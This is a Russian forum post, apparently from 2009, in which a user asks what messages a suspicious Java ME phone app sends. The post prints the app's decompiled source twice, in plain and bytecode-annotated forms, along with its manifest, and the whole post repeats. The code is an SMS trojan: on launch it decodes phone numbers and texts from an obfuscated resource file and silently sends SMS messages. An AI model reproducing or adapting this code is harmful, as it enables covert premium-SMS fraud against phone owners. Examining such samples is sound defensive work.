Kasali
08.03.2009, 19:40
скажите Какое сообщение и када посылаеться этим java приложением.в архиве 4 фала mixmobile.class
load.bin
ico.png
MANIFEST
вот что в файле mixmobile.class;
import java.io.IOException;
import java.io.InputStream;
import javax.microedition.io.Connector;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
public class MixMobile extends MIDlet
{
public String smsnumber;
public String smstext;
public int tpcurr;
public int tppoint;
public static int a = 12;
public void startApp()
{
zagruzka();
}
public void zagruzka()
{
InputStream localInputStream;
try
{
localInputStream = getClass().getResourceAsStream("/load.bin");
this.tppoint = (localInputStream.read() - a);
for (int i = 0; i < this.tppoint; ++i)
{
this.smsnumber = a(localInputStream);
this.smstext = a(localInputStream);
sendSMS();
}
return;
}
catch (Exception localException)
{
}
}
private static String a(InputStream paramInputStream)
throws IOException
{
int i = paramInputStream.read() - a;
StringBuffer localStringBuffer = new StringBuffer();
for (int j = 0; j < i; ++j)
localStringBuffer.append((char)(paramInputStream.r ead() - a));
return localStringBuffer.toString();
}
public void sendSMS()
{
if (this.tpcurr++ == this.tppoint - 1)
this.tpcurr = 0;
try
{
MessageConnection localMessageConnection;
TextMessage localTextMessage;
(localTextMessage = (TextMessage)(localMessageConnection = (MessageConnection)Connector.open("sms://" + this.smsnumber)).newMessage("text")).setPayloadText(this.smstext + " " + getAppProperty("id"));
localMessageConnection.send(localTextMessage);
localMessageConnection.close();
return;
}
catch (Exception localException)
{
}
}
public void pauseApp()
{
}
public void destroyApp(boolean paramBoolean)
{
}
}
Вот этот же файл открытый прогой DJ Java Decompiler 3.10
// Decompiled by DJ v3.10.10.93 Copyright 2007 Atanas Neshkov Date: 08.03.2009 18:36:49
// Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version!
// Decompiler options: packimports(3) annotate_fullnames deadcode ansi lnc safe debugmode
// Class Version: 47.0
import java.io.IOException;
import java.io.InputStream;
import javax.microedition.io.Connector;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
// flag ACC_SUPER is set
public class MixMobile extends MIDlet
{
// Constants: 118
// Interfaces: 0
// Fields: 5
// Methods: 8
// Class Attributes: 0
// Decompiling method: <init> Signature: ()V
// Max stack: 1, #locals: 1, #params: 1
// Code length: 5 bytes, Code offset: 1431
// Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed
// RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed
public MixMobile()
{
/* super(); */
// 0 0:aload_0
// 1 1:invokespecial #17 <Method void MIDlet()>
/* return; */
// 2 4:return
}
// Decompiling method: startApp Signature: ()V
// Max stack: 1, #locals: 1, #params: 1
// Code length: 5 bytes, Code offset: 1462
// Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed
// RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed
public void startApp()
{
zagruzka();
// 0 0:aload_0
// 1 1:invokevirtual #29 <Method void MixMobile.zagruzka()>
/* return; */
// 2 4:return
}
// Decompiling method: zagruzka Signature: ()V
// Max stack: 3, #locals: 3, #params: 1
// Code length: 61 bytes, Code offset: 1493
// Exception table: 1 entries
// start 0 end 58 handler 59 type Exception
// Parameter 0 added: Name this Type LMixMobile; At 0 61 Range 0 60 Init 0 fixed
// RetValue 3 added: Name <returnValue> Type V At 0 61 Range 0 60 Init 0 fixed
// LocalVar 1 added: Name inputstream Type Ljava/io/InputStream; At 9 33 Range 9 41 Init 9
// LocalVar 2 added: Name flag Type Z At 23 32 Range 23 54 Init 23
// LocalVar 2 chged: Name i Oname flag Type I At 24 1 Range 23 54 Init 23
public void zagruzka()
{
try
{
InputStream inputstream = ((Object)this).getClass().getResourceAsStream("/load.bin");
// 0 0:aload_0
// 1 1:invokevirtual #23 <Method java.lang.Class java.lang.Object.getClass()>
// 2 4:ldc1 #35 <String "/load.bin">
// 3 6:invokevirtual #24 <Method java.io.InputStream java.lang.Class.getResourceAsStream(java.lang.Stri ng)>
// 4 9:astore_1
tppoint = inputstream.read() - a;
// 5 10:aload_0
// 6 11:aload_1
// 7 12:invokevirtual #26 <Method int java.io.InputStream.read()>
// 8 15:getstatic #12 <Field int MixMobile.a>
// 9 18:isub
// 10 19:putfield #16 <Field int MixMobile.tppoint>
for(int i = 0; i < tppoint; i++)
//* 11 22:iconst_0
//* 12 23:istore_2
//* 13 24:iload_2
//* 14 25:aload_0
//* 15 26:getfield #16 <Field int MixMobile.tppoint>
//* 16 29:icmpge 58
{
smsnumber = a(inputstream);
// 17 32:aload_0
// 18 33:aload_1
// 19 34:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)>
// 20 37:putfield #13 <Field java.lang.String MixMobile.smsnumber>
smstext = a(inputstream);
// 21 40:aload_0
// 22 41:aload_1
// 23 42:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)>
// 24 45:putfield #14 <Field java.lang.String MixMobile.smstext>
sendSMS();
// 25 48:aload_0
// 26 49:invokevirtual #27 <Method void MixMobile.sendSMS()>
}
// 27 52:iinc 2 1
//* 28 55:goto 24
return;
// 29 58:return
}
catch(Exception _ex)
//* 30 59:pop
{
return;
// 31 60:return
}
}
// Decompiling method: a Signature: (Ljava/io/InputStream;)Ljava/lang/String;
// Max stack: 3, #locals: 4, #params: 1
// Code length: 49 bytes, Code offset: 1634
// Parameter 0 added: Name inputstream Type Ljava/io/InputStream; At 0 49 Range 0 48 Init 0
// RetValue 4 added: Name <returnValue> Type Ljava/lang/String; At 0 49 Range 0 48 Init 0 fixed
// LocalVar 1 added: Name i Type I At 8 13 Range 8 20 Init 8
// LocalVar 2 added: Name stringbuffer Type Ljava/lang/StringBuffer; At 16 29 Range 16 44 Init 16
// LocalVar 3 added: Name flag Type Z At 18 23 Range 18 40 Init 18
// LocalVar 3 chged: Name j Oname flag Type I At 19 1 Range 18 40 Init 18
private static String a(InputStream inputstream)
throws IOException
{
int i = inputstream.read() - a;
// 0 0:aload_0
// 1 1:invokevirtual #26 <Method int java.io.InputStream.read()>
// 2 4:getstatic #12 <Field int MixMobile.a>
// 3 7:isub
// 4 8:istore_1
StringBuffer stringbuffer = new StringBuffer();
// 5 9:new #7 <Class java.lang.StringBuffer>
// 6 12:dup
// 7 13:invokespecial #18 <Method void StringBuffer()>
// 8 16:astore_2
for(int j = 0; j < i; j++)
//* 9 17:iconst_0
//* 10 18:istore_3
//* 11 19:iload_3
//* 12 20:iload_1
//* 13 21:icmpge 44
stringbuffer.append((char)(inputstream.read() - a));
// 14 24:aload_2
// 15 25:aload_0
// 16 26:invokevirtual #26 <Method int java.io.InputStream.read()>
// 17 29:getstatic #12 <Field int MixMobile.a>
// 18 32:isub
// 19 33:int2char
// 20 34:invokevirtual #20 <Method java.lang.StringBuffer java.lang.StringBuffer.append(char)>
// 21 37:pop
// 22 38:iinc 3 1
//* 23 41:goto 19
return stringbuffer.toString();
// 24 44:aload_2
// 25 45:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
// 26 48:areturn
}
// Decompiling method: sendSMS Signature: ()V
// Max stack: 4, #locals: 3, #params: 1
// Code length: 119 bytes, Code offset: 1755
// Exception table: 1 entries
// start 25 end 116 handler 117 type Exception
// Parameter 0 added: Name this Type LMixMobile; At 0 119 Range 0 118 Init 0 fixed
// RetValue 3 added: Name <returnValue> Type V At 0 119 Range 0 118 Init 0 fixed
// LocalVar 1 added: Name messageconnection Type Ljavax/wireless/messaging/MessageConnection; At 54 57 Range 54 110 Init 54
// LocalVar 2 added: Name textmessage Type Ljavax/wireless/messaging/TextMessage; At 66 39 Range 66 104 Init 66
public void sendSMS()
{
if(tpcurr++ == tppoint - 1)
//* 0 0:aload_0
//* 1 1:dup
//* 2 2:getfield #15 <Field int MixMobile.tpcurr>
//* 3 5:dup_x1
//* 4 6:iconst_1
//* 5 7:iadd
//* 6 8:putfield #15 <Field int MixMobile.tpcurr>
//* 7 11:aload_0
//* 8 12:getfield #16 <Field int MixMobile.tppoint>
//* 9 15:iconst_1
//* 10 16:isub
//* 11 17:icmpne 25
tpcurr = 0;
// 12 20:aload_0
// 13 21:iconst_0
// 14 22:putfield #15 <Field int MixMobile.tpcurr>
try
{
MessageConnection messageconnection;
TextMessage textmessage;
(textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + smsnumber)).newMessage("text")).setPayloadText(smstext + " " + getAppProperty("id"));
// 15 25:new #7 <Class java.lang.StringBuffer>
// 16 28:dup
// 17 29:invokespecial #18 <Method void StringBuffer()>
// 18 32:ldc1 #37 <String "sms://">
// 19 34:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 20 37:aload_0
// 21 38:getfield #13 <Field java.lang.String MixMobile.smsnumber>
// 22 41:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 23 44:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
// 24 47:invokestatic #25 <Method javax.microedition.io.Connection javax.microedition.io.Connector.open(java.lang.Str ing)>
// 25 50:checkcast #10 <Class javax.wireless.messaging.MessageConnection>
// 26 53:dup
// 27 54:astore_1
// 28 55:ldc1 #38 <String "text">
// 29 57:invokeinterface #31 <Method javax.wireless.messaging.Message javax.wireless.messaging.MessageConnection.newMess age(java.lang.String)>
// 30 62:checkcast #11 <Class javax.wireless.messaging.TextMessage>
// 31 65:dup
// 32 66:astore_2
// 33 67:new #7 <Class java.lang.StringBuffer>
// 34 70:dup
// 35 71:invokespecial #18 <Method void StringBuffer()>
// 36 74:aload_0
// 37 75:getfield #14 <Field java.lang.String MixMobile.smstext>
// 38 78:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 39 81:ldc1 #34 <String " ">
// 40 83:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 41 86:aload_0
// 42 87:ldc1 #36 <String "id">
// 43 89:invokevirtual #22 <Method java.lang.String MixMobile.getAppProperty(java.lang.String)>
// 44 92:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 45 95:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
// 46 98:invokeinterface #33 <Method void javax.wireless.messaging.TextMessage.setPayloadTex t(java.lang.String)>
messageconnection.send(((javax.wireless.messaging. Message) (textmessage)));
// 47 103:aload_1
// 48 104:aload_2
// 49 105:invokeinterface #32 <Method void javax.wireless.messaging.MessageConnection.send(ja vax.wireless.messaging.Message)>
messageconnection.close();
// 50 110:aload_1
// 51 111:invokeinterface #30 <Method void javax.wireless.messaging.MessageConnection.close()>
return;
// 52 116:return
}
catch(Exception _ex)
//* 53 117:pop
{
return;
// 54 118:return
}
}
// Decompiling method: pauseApp Signature: ()V
// Max stack: 0, #locals: 1, #params: 1
// Code length: 1 bytes, Code offset: 1937
// Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed
// RetValue 1 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed
public void pauseApp()
{
/* return; */
// 0 0:return
}
// Decompiling method: destroyApp Signature: (Z)V
// Max stack: 0, #locals: 2, #params: 2
// Code length: 1 bytes, Code offset: 1964
// Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed
// Parameter 1 added: Name flag Type Z At 0 1 Range 0 0 Init 0
// RetValue 2 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed
public void destroyApp(boolean flag)
{
/* return; */
// 0 0:return
}
public String smsnumber;
public String smstext;
public int tpcurr;
public int tppoint;
public static int a = 12;
// Decompiling method: <clinit> Signature: ()V
// Max stack: 1, #locals: 0, #params: 0
// Code length: 6 bytes, Code offset: 1991
// RetValue 0 added: Name <returnValue> Type V At 0 6 Range 0 5 Init 0 fixed
// final and/or public access modifiers removed
static
{
/* a = 12; */
// 0 0:bipush 12
// 1 2:putstatic #12 <Field int MixMobile.a>
//* 2 5:return
}
}
Ну и manifest.mf;
Manifest-Version: 1.0
MicroEdition-Configuration: CLDC-1.0
MIDlet-Name: osyt
MIDlet-Description: osyt
Created-By: 1.4.2_12 (Sun Microsystems Inc.)
MIDlet-Icon: /ico.png
MIDlet-Vendor: CyberMobs
MIDlet-1: osyt, /ico.png, MixMobile
MIDlet-Permissions: javax.wireless.messaging.sms.send
MIDlet-Version: 2.11
MicroEdition-Profile: MIDP-1.0
id: 3306
Есть и файл load.bin который немогу окрыть ни одной программой
И так какме будут мысли
load.bin
ico.png
MANIFEST
вот что в файле mixmobile.class;
import java.io.IOException;
import java.io.InputStream;
import javax.microedition.io.Connector;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
public class MixMobile extends MIDlet
{
public String smsnumber;
public String smstext;
public int tpcurr;
public int tppoint;
public static int a = 12;
public void startApp()
{
zagruzka();
}
public void zagruzka()
{
InputStream localInputStream;
try
{
localInputStream = getClass().getResourceAsStream("/load.bin");
this.tppoint = (localInputStream.read() - a);
for (int i = 0; i < this.tppoint; ++i)
{
this.smsnumber = a(localInputStream);
this.smstext = a(localInputStream);
sendSMS();
}
return;
}
catch (Exception localException)
{
}
}
private static String a(InputStream paramInputStream)
throws IOException
{
int i = paramInputStream.read() - a;
StringBuffer localStringBuffer = new StringBuffer();
for (int j = 0; j < i; ++j)
localStringBuffer.append((char)(paramInputStream.r ead() - a));
return localStringBuffer.toString();
}
public void sendSMS()
{
if (this.tpcurr++ == this.tppoint - 1)
this.tpcurr = 0;
try
{
MessageConnection localMessageConnection;
TextMessage localTextMessage;
(localTextMessage = (TextMessage)(localMessageConnection = (MessageConnection)Connector.open("sms://" + this.smsnumber)).newMessage("text")).setPayloadText(this.smstext + " " + getAppProperty("id"));
localMessageConnection.send(localTextMessage);
localMessageConnection.close();
return;
}
catch (Exception localException)
{
}
}
public void pauseApp()
{
}
public void destroyApp(boolean paramBoolean)
{
}
}
Вот этот же файл открытый прогой DJ Java Decompiler 3.10
// Decompiled by DJ v3.10.10.93 Copyright 2007 Atanas Neshkov Date: 08.03.2009 18:36:49
// Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version!
// Decompiler options: packimports(3) annotate_fullnames deadcode ansi lnc safe debugmode
// Class Version: 47.0
import java.io.IOException;
import java.io.InputStream;
import javax.microedition.io.Connector;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
// flag ACC_SUPER is set
public class MixMobile extends MIDlet
{
// Constants: 118
// Interfaces: 0
// Fields: 5
// Methods: 8
// Class Attributes: 0
// Decompiling method: <init> Signature: ()V
// Max stack: 1, #locals: 1, #params: 1
// Code length: 5 bytes, Code offset: 1431
// Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed
// RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed
public MixMobile()
{
/* super(); */
// 0 0:aload_0
// 1 1:invokespecial #17 <Method void MIDlet()>
/* return; */
// 2 4:return
}
// Decompiling method: startApp Signature: ()V
// Max stack: 1, #locals: 1, #params: 1
// Code length: 5 bytes, Code offset: 1462
// Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed
// RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed
public void startApp()
{
zagruzka();
// 0 0:aload_0
// 1 1:invokevirtual #29 <Method void MixMobile.zagruzka()>
/* return; */
// 2 4:return
}
// Decompiling method: zagruzka Signature: ()V
// Max stack: 3, #locals: 3, #params: 1
// Code length: 61 bytes, Code offset: 1493
// Exception table: 1 entries
// start 0 end 58 handler 59 type Exception
// Parameter 0 added: Name this Type LMixMobile; At 0 61 Range 0 60 Init 0 fixed
// RetValue 3 added: Name <returnValue> Type V At 0 61 Range 0 60 Init 0 fixed
// LocalVar 1 added: Name inputstream Type Ljava/io/InputStream; At 9 33 Range 9 41 Init 9
// LocalVar 2 added: Name flag Type Z At 23 32 Range 23 54 Init 23
// LocalVar 2 chged: Name i Oname flag Type I At 24 1 Range 23 54 Init 23
public void zagruzka()
{
try
{
InputStream inputstream = ((Object)this).getClass().getResourceAsStream("/load.bin");
// 0 0:aload_0
// 1 1:invokevirtual #23 <Method java.lang.Class java.lang.Object.getClass()>
// 2 4:ldc1 #35 <String "/load.bin">
// 3 6:invokevirtual #24 <Method java.io.InputStream java.lang.Class.getResourceAsStream(java.lang.Stri ng)>
// 4 9:astore_1
tppoint = inputstream.read() - a;
// 5 10:aload_0
// 6 11:aload_1
// 7 12:invokevirtual #26 <Method int java.io.InputStream.read()>
// 8 15:getstatic #12 <Field int MixMobile.a>
// 9 18:isub
// 10 19:putfield #16 <Field int MixMobile.tppoint>
for(int i = 0; i < tppoint; i++)
//* 11 22:iconst_0
//* 12 23:istore_2
//* 13 24:iload_2
//* 14 25:aload_0
//* 15 26:getfield #16 <Field int MixMobile.tppoint>
//* 16 29:icmpge 58
{
smsnumber = a(inputstream);
// 17 32:aload_0
// 18 33:aload_1
// 19 34:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)>
// 20 37:putfield #13 <Field java.lang.String MixMobile.smsnumber>
smstext = a(inputstream);
// 21 40:aload_0
// 22 41:aload_1
// 23 42:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)>
// 24 45:putfield #14 <Field java.lang.String MixMobile.smstext>
sendSMS();
// 25 48:aload_0
// 26 49:invokevirtual #27 <Method void MixMobile.sendSMS()>
}
// 27 52:iinc 2 1
//* 28 55:goto 24
return;
// 29 58:return
}
catch(Exception _ex)
//* 30 59:pop
{
return;
// 31 60:return
}
}
// Decompiling method: a Signature: (Ljava/io/InputStream;)Ljava/lang/String;
// Max stack: 3, #locals: 4, #params: 1
// Code length: 49 bytes, Code offset: 1634
// Parameter 0 added: Name inputstream Type Ljava/io/InputStream; At 0 49 Range 0 48 Init 0
// RetValue 4 added: Name <returnValue> Type Ljava/lang/String; At 0 49 Range 0 48 Init 0 fixed
// LocalVar 1 added: Name i Type I At 8 13 Range 8 20 Init 8
// LocalVar 2 added: Name stringbuffer Type Ljava/lang/StringBuffer; At 16 29 Range 16 44 Init 16
// LocalVar 3 added: Name flag Type Z At 18 23 Range 18 40 Init 18
// LocalVar 3 chged: Name j Oname flag Type I At 19 1 Range 18 40 Init 18
private static String a(InputStream inputstream)
throws IOException
{
int i = inputstream.read() - a;
// 0 0:aload_0
// 1 1:invokevirtual #26 <Method int java.io.InputStream.read()>
// 2 4:getstatic #12 <Field int MixMobile.a>
// 3 7:isub
// 4 8:istore_1
StringBuffer stringbuffer = new StringBuffer();
// 5 9:new #7 <Class java.lang.StringBuffer>
// 6 12:dup
// 7 13:invokespecial #18 <Method void StringBuffer()>
// 8 16:astore_2
for(int j = 0; j < i; j++)
//* 9 17:iconst_0
//* 10 18:istore_3
//* 11 19:iload_3
//* 12 20:iload_1
//* 13 21:icmpge 44
stringbuffer.append((char)(inputstream.read() - a));
// 14 24:aload_2
// 15 25:aload_0
// 16 26:invokevirtual #26 <Method int java.io.InputStream.read()>
// 17 29:getstatic #12 <Field int MixMobile.a>
// 18 32:isub
// 19 33:int2char
// 20 34:invokevirtual #20 <Method java.lang.StringBuffer java.lang.StringBuffer.append(char)>
// 21 37:pop
// 22 38:iinc 3 1
//* 23 41:goto 19
return stringbuffer.toString();
// 24 44:aload_2
// 25 45:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
// 26 48:areturn
}
// Decompiling method: sendSMS Signature: ()V
// Max stack: 4, #locals: 3, #params: 1
// Code length: 119 bytes, Code offset: 1755
// Exception table: 1 entries
// start 25 end 116 handler 117 type Exception
// Parameter 0 added: Name this Type LMixMobile; At 0 119 Range 0 118 Init 0 fixed
// RetValue 3 added: Name <returnValue> Type V At 0 119 Range 0 118 Init 0 fixed
// LocalVar 1 added: Name messageconnection Type Ljavax/wireless/messaging/MessageConnection; At 54 57 Range 54 110 Init 54
// LocalVar 2 added: Name textmessage Type Ljavax/wireless/messaging/TextMessage; At 66 39 Range 66 104 Init 66
public void sendSMS()
{
if(tpcurr++ == tppoint - 1)
//* 0 0:aload_0
//* 1 1:dup
//* 2 2:getfield #15 <Field int MixMobile.tpcurr>
//* 3 5:dup_x1
//* 4 6:iconst_1
//* 5 7:iadd
//* 6 8:putfield #15 <Field int MixMobile.tpcurr>
//* 7 11:aload_0
//* 8 12:getfield #16 <Field int MixMobile.tppoint>
//* 9 15:iconst_1
//* 10 16:isub
//* 11 17:icmpne 25
tpcurr = 0;
// 12 20:aload_0
// 13 21:iconst_0
// 14 22:putfield #15 <Field int MixMobile.tpcurr>
try
{
MessageConnection messageconnection;
TextMessage textmessage;
(textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + smsnumber)).newMessage("text")).setPayloadText(smstext + " " + getAppProperty("id"));
// 15 25:new #7 <Class java.lang.StringBuffer>
// 16 28:dup
// 17 29:invokespecial #18 <Method void StringBuffer()>
// 18 32:ldc1 #37 <String "sms://">
// 19 34:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 20 37:aload_0
// 21 38:getfield #13 <Field java.lang.String MixMobile.smsnumber>
// 22 41:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 23 44:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
// 24 47:invokestatic #25 <Method javax.microedition.io.Connection javax.microedition.io.Connector.open(java.lang.Str ing)>
// 25 50:checkcast #10 <Class javax.wireless.messaging.MessageConnection>
// 26 53:dup
// 27 54:astore_1
// 28 55:ldc1 #38 <String "text">
// 29 57:invokeinterface #31 <Method javax.wireless.messaging.Message javax.wireless.messaging.MessageConnection.newMess age(java.lang.String)>
// 30 62:checkcast #11 <Class javax.wireless.messaging.TextMessage>
// 31 65:dup
// 32 66:astore_2
// 33 67:new #7 <Class java.lang.StringBuffer>
// 34 70:dup
// 35 71:invokespecial #18 <Method void StringBuffer()>
// 36 74:aload_0
// 37 75:getfield #14 <Field java.lang.String MixMobile.smstext>
// 38 78:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 39 81:ldc1 #34 <String " ">
// 40 83:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 41 86:aload_0
// 42 87:ldc1 #36 <String "id">
// 43 89:invokevirtual #22 <Method java.lang.String MixMobile.getAppProperty(java.lang.String)>
// 44 92:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
// 45 95:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
// 46 98:invokeinterface #33 <Method void javax.wireless.messaging.TextMessage.setPayloadTex t(java.lang.String)>
messageconnection.send(((javax.wireless.messaging. Message) (textmessage)));
// 47 103:aload_1
// 48 104:aload_2
// 49 105:invokeinterface #32 <Method void javax.wireless.messaging.MessageConnection.send(ja vax.wireless.messaging.Message)>
messageconnection.close();
// 50 110:aload_1
// 51 111:invokeinterface #30 <Method void javax.wireless.messaging.MessageConnection.close()>
return;
// 52 116:return
}
catch(Exception _ex)
//* 53 117:pop
{
return;
// 54 118:return
}
}
// Decompiling method: pauseApp Signature: ()V
// Max stack: 0, #locals: 1, #params: 1
// Code length: 1 bytes, Code offset: 1937
// Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed
// RetValue 1 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed
public void pauseApp()
{
/* return; */
// 0 0:return
}
// Decompiling method: destroyApp Signature: (Z)V
// Max stack: 0, #locals: 2, #params: 2
// Code length: 1 bytes, Code offset: 1964
// Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed
// Parameter 1 added: Name flag Type Z At 0 1 Range 0 0 Init 0
// RetValue 2 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed
public void destroyApp(boolean flag)
{
/* return; */
// 0 0:return
}
public String smsnumber;
public String smstext;
public int tpcurr;
public int tppoint;
public static int a = 12;
// Decompiling method: <clinit> Signature: ()V
// Max stack: 1, #locals: 0, #params: 0
// Code length: 6 bytes, Code offset: 1991
// RetValue 0 added: Name <returnValue> Type V At 0 6 Range 0 5 Init 0 fixed
// final and/or public access modifiers removed
static
{
/* a = 12; */
// 0 0:bipush 12
// 1 2:putstatic #12 <Field int MixMobile.a>
//* 2 5:return
}
}
Ну и manifest.mf;
Manifest-Version: 1.0
MicroEdition-Configuration: CLDC-1.0
MIDlet-Name: osyt
MIDlet-Description: osyt
Created-By: 1.4.2_12 (Sun Microsystems Inc.)
MIDlet-Icon: /ico.png
MIDlet-Vendor: CyberMobs
MIDlet-1: osyt, /ico.png, MixMobile
MIDlet-Permissions: javax.wireless.messaging.sms.send
MIDlet-Version: 2.11
MicroEdition-Profile: MIDP-1.0
id: 3306
Есть и файл load.bin который немогу окрыть ни одной программой
И так какме будут мысли